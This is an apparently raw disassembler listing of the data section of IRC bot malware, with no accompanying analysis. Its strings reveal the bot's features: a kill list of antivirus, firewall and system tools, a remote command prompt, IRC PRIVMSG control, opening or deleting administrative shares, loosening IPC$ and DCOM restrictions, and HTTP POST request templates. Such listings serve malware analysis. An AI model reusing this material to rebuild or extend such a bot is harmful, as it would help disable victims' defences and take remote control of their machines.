aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0E8
		dd offset dword_43A0E4
		dd offset off_43A0E0
off_43A0E0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
off_43A0E8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 575E4B75h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset dword_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
